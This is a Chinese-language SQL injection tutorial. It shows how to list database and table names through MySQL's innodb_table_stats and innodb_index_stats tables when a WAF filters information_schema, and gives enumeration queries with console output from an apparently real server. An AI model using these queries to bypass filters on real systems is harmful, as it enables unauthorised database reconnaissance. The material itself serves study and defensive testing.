0x00 概要

MySQL 5.7之后的版本,在其自带的 mysql 库中,新增了 innodb_table_stats 和 innodb_index_stats 这两张日志表。

如果数据表的引擎是 innodb ,则会在这两张表中记录表、键的信息 。

如果waf过滤掉了 information_schema库 我们可以利用新加的这两个表注入出数据库名和表名。

0x01 mysql 5.7之前库名与表名获取

0x01.1 mysql库名获取

5.7之前我们获取各个库的库名的话,执行的sql一般是。

SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata;

  1. mysql> SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata;
  2. +---------------------------------+
  3. | concat(0x7e,schema_name,0x7e) |
  4. +---------------------------------+
  5. | ~information_schema~ |
  6. | ~JewelBoxService~ |
  7. | ~Mamba_Blog~ |
  8. | ~Marketing-Activities-MServer~ |
  9. | ~QM-WechatServer~ |
  10. | ~ai_test~ |
  11. | ~career_talent_mserver~ |
  12. | ~homestead~ |
  13. | ~icbc~ |
  14. | ~icbc_careertalent_inrice_test~ |
  15. | ~icbc_quiz~ |
  16. | ~lottery.inrice.cn~ |
  17. | ~message~ |
  18. | ~moell_blog~ |
  19. | ~mysql~ |
  20. | ~performance_schema~ |
  21. | ~quiz_server~ |
  22. | ~quiz_test~ |
  23. | ~sys~ |
  24. | ~test~ |
  25. | ~testsss~ |
  26. | ~voice.inrice.test~ |
  27. +---------------------------------+
  28. 22 rows in set

0x01.2 mysql表名获取

  1. # 当前连接数据库
  2. mysql> select database();
  3. +------------+
  4. | database() |
  5. +------------+
  6. | test |
  7. +------------+
  8. 1 row in set

SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database();

  1. # test数据库所有表名
  2. mysql> SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database();
  3. +------------------------------+
  4. | concat(0x7e,table_name,0x7e) |
  5. +------------------------------+
  6. | ~migrations~ |
  7. | ~sms_accounts~ |
  8. | ~system_configs~ |
  9. | ~templete_message_tokens~ |
  10. | ~users~ |
  11. +------------------------------+
  12. 5 rows in set

0x02 mysql 5.7之后库名与表名获取方法一

0x02.1 mysql库名获取

select distinct concat(0x7e,database_name,0x7e) from mysql.innodb_table_stats;

  1. mysql> select distinct concat(0x7e,database_name,0x7e) from mysql.innodb_table_stats;
  2. +---------------------------------+
  3. | concat(0x7e,database_name,0x7e) |
  4. +---------------------------------+
  5. | ~JewelBoxService~ |
  6. | ~Mamba_Blog~ |
  7. | ~Marketing-Activities-MServer~ |
  8. | ~QM-WechatServer~ |
  9. | ~ai_test~ |
  10. | ~career_talent_mserver~ |
  11. | ~icbc~ |
  12. | ~icbc_careertalent_inrice_test~ |
  13. | ~icbc_quiz~ |
  14. | ~lottery.inrice.cn~ |
  15. | ~message~ |
  16. | ~moell_blog~ |
  17. | ~mysql~ |
  18. | ~quiz_server~ |
  19. | ~quiz_test~ |
  20. | ~sys~ |
  21. | ~test~ |
  22. | ~testsss~ |
  23. | ~voice.inrice.test~ |
  24. +---------------------------------+
  25. 19 rows in set

0x02.2 mysql表名获取

  1. # 当前连接数据库
  2. mysql> select database();
  3. +------------+
  4. | database() |
  5. +------------+
  6. | test |
  7. +------------+
  8. 1 row in set

select distinct concat(0x7e,table_name,0x7e) from mysql.innodb_table_stats where database_name=database();

  1. mysql> select distinct concat(0x7e,table_name,0x7e) from mysql.innodb_table_stats where database_name=database();
  2. +------------------------------+
  3. | concat(0x7e,table_name,0x7e) |
  4. +------------------------------+
  5. | ~migrations~ |
  6. | ~sms_accounts~ |
  7. | ~system_configs~ |
  8. | ~templete_message_tokens~ |
  9. | ~users~ |
  10. +------------------------------+
  11. 5 rows in set

0x03 mysql 5.7之后库名与表名获取方法二

0x03.1 mysql库名获取

SELECT distinct concat(0x7e,database_name,0x7e) from mysql.innodb_index_stats;

  1. mysql> SELECT distinct concat(0x7e,database_name,0x7e) from mysql.innodb_index_stats;
  2. +---------------------------------+
  3. | concat(0x7e,database_name,0x7e) |
  4. +---------------------------------+
  5. | ~JewelBoxService~ |
  6. | ~Mamba_Blog~ |
  7. | ~Marketing-Activities-MServer~ |
  8. | ~QM-WechatServer~ |
  9. | ~ai_test~ |
  10. | ~career_talent_mserver~ |
  11. | ~icbc~ |
  12. | ~icbc_careertalent_inrice_test~ |
  13. | ~icbc_quiz~ |
  14. | ~lottery.inrice.cn~ |
  15. | ~message~ |
  16. | ~moell_blog~ |
  17. | ~mysql~ |
  18. | ~quiz_server~ |
  19. | ~quiz_test~ |
  20. | ~sys~ |
  21. | ~test~ |
  22. | ~testsss~ |
  23. | ~voice.inrice.test~ |
  24. +---------------------------------+
  25. 19 rows in set

0x03.2 mysql表名获取

  1. # 当前连接数据库
  2. mysql> select database();
  3. +------------+
  4. | database() |
  5. +------------+
  6. | test |
  7. +------------+
  8. 1 row in set

SELECT distinct concat(0x7e,table_name,0x7e) from mysql.innodb_index_stats where database_name=database();

  1. mysql> SELECT distinct concat(0x7e,table_name,0x7e) from mysql.innodb_index_stats where database_name=database();
  2. +------------------------------+
  3. | concat(0x7e,table_name,0x7e) |
  4. +------------------------------+
  5. | ~migrations~ |
  6. | ~sms_accounts~ |
  7. | ~system_configs~ |
  8. | ~templete_message_tokens~ |
  9. | ~users~ |
  10. +------------------------------+
  11. 5 rows in set